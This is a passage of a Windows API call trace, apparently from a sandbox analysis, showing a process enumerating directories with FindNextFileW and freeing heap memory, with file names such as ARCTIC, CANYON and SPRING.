ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ARCTIC", cAlternateFileName="")) returned 1 [0072.436] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.436] FindNextFileW (in: hFindFile=0x4260340, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="AXIS", cAlternateFileName="")) returned 1 [0072.437] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.437] FindNextFileW (in: hFindFile=0x4260340, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a70c44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a96da3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27a96da3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BLENDS", cAlternateFileName="")) returned 1 [0072.437] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.437] FindNextFileW (in: hFindFile=0x4260340, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a70c44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a70c44, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27a70c44, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BLUECALM", cAlternateFileName="")) returned 1 [0072.437] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.437] FindNextFileW (in: hFindFile=0x4260340, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BLUEPRNT", cAlternateFileName="")) returned 1 [0072.437] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.437] FindNextFileW (in: hFindFile=0x4260340, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a96da3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BOLDSTRI", cAlternateFileName="")) returned 1 [0072.438] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.438] FindNextFileW (in: hFindFile=0x4260340, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a96da3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BREEZE", cAlternateFileName="")) returned 1 [0072.438] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.438] FindNextFileW (in: hFindFile=0x4260340, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="CANYON", cAlternateFileName="")) returned 1 [0072.438] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.438] FindNextFileW (in: hFindFile=0x4260340, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="CAPSULES", cAlternateFileName="")) returned 1 [0072.439] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.439] FindNextFileW (in: hFindFile=0x4260340, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="CASCADE", cAlternateFileName="")) returned 1 [0072.439] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.439] FindNextFileW (in: hFindFile=0x4260340, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="COMPASS", cAlternateFileName="")) returned 1 [0072.439] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.439] FindNextFileW (in: hFindFile=0x4260340, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="CONCRETE", cAlternateFileName="")) returned 1 [0072.440] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.440] FindNextFileW (in: hFindFile=0x4260340, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="DEEPBLUE", cAlternateFileName="")) returned 1 [0072.440] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.440] FindNextFileW (in: hFindFile=0x4260340, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ECHO", cAlternateFileName="")) returned 1 [0072.440] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.440] FindNextFileW (in: hFindFile=0x4260340, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ECLIPSE", cAlternateFileName="")) returned 1 [0072.441] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.441] FindNextFileW (in: hFindFile=0x4260340, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="EDGE", cAlternateFileName="")) returned 1 [0072.441] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.441] FindNextFileW (in: hFindFile=0x4260340, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b2f705, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b2f705, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="EVRGREEN", cAlternateFileName="")) returned 1 [0072.441] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.441] FindNextFileW (in: hFindFile=0x4260340, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b2f705, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b2f705, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="EXPEDITN", cAlternateFileName="")) returned 1 [0072.442] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.442] FindNextFileW (in: hFindFile=0x4260340, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ba1ded, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ba1ded, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ICE", cAlternateFileName="")) returned 1 [0072.442] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.442] FindNextFileW (in: hFindFile=0x4260340, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b5591d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="INDUST", cAlternateFileName="")) returned 1 [0072.443] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.443] FindNextFileW (in: hFindFile=0x4260340, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b5591d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b7bb91, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b7bb91, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="IRIS", cAlternateFileName="")) returned 1 [0072.443] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.443] FindNextFileW (in: hFindFile=0x4260340, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b5591d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="JOURNAL", cAlternateFileName="")) returned 1 [0072.443] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.443] FindNextFileW (in: hFindFile=0x4260340, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b7bb91, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ba1ded, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ba1ded, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="LAYERS", cAlternateFileName="")) returned 1 [0072.444] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.444] FindNextFileW (in: hFindFile=0x4260340, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b7bb91, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="LEVEL", cAlternateFileName="")) returned 1 [0072.444] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.444] FindNextFileW (in: hFindFile=0x4260340, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="NETWORK", cAlternateFileName="")) returned 1 [0072.445] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.445] FindNextFileW (in: hFindFile=0x4260340, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="PAPYRUS", cAlternateFileName="")) returned 1 [0072.445] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.445] FindNextFileW (in: hFindFile=0x4260340, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="PIXEL", cAlternateFileName="")) returned 1 [0072.445] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.446] FindNextFileW (in: hFindFile=0x4260340, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="PROFILE", cAlternateFileName="")) returned 1 [0072.446] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.446] FindNextFileW (in: hFindFile=0x4260340, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="QUAD", cAlternateFileName="")) returned 1 [0072.446] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.446] FindNextFileW (in: hFindFile=0x4260340, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="RADIAL", cAlternateFileName="")) returned 1 [0072.447] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.447] FindNextFileW (in: hFindFile=0x4260340, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="REFINED", cAlternateFileName="")) returned 1 [0072.447] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.447] FindNextFileW (in: hFindFile=0x4260340, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="RICEPAPR", cAlternateFileName="")) returned 1 [0072.447] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.447] FindNextFileW (in: hFindFile=0x4260340, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="RIPPLE", cAlternateFileName="")) returned 1 [0072.448] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.448] FindNextFileW (in: hFindFile=0x4260340, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="RMNSQUE", cAlternateFileName="")) returned 1 [0072.448] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.448] FindNextFileW (in: hFindFile=0x4260340, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x289576aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x289576aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SATIN", cAlternateFileName="")) returned 1 [0072.448] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.448] FindNextFileW (in: hFindFile=0x4260340, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SKY", cAlternateFileName="")) returned 1 [0072.449] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.449] FindNextFileW (in: hFindFile=0x4260340, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c609b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c609b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SLATE", cAlternateFileName="")) returned 1 [0072.449] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.449] FindNextFileW (in: hFindFile=0x4260340, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c3a755, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SONORA", cAlternateFileName="")) returned 1 [0072.449] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.449] FindNextFileW (in: hFindFile=0x4260340, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SPRING", cAlternateFileName="")) returned 1 [0072.450] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.450] FindNextFileW (in: hFindFile=0x4260340, lpFindFileData=0x328eb94 | out: 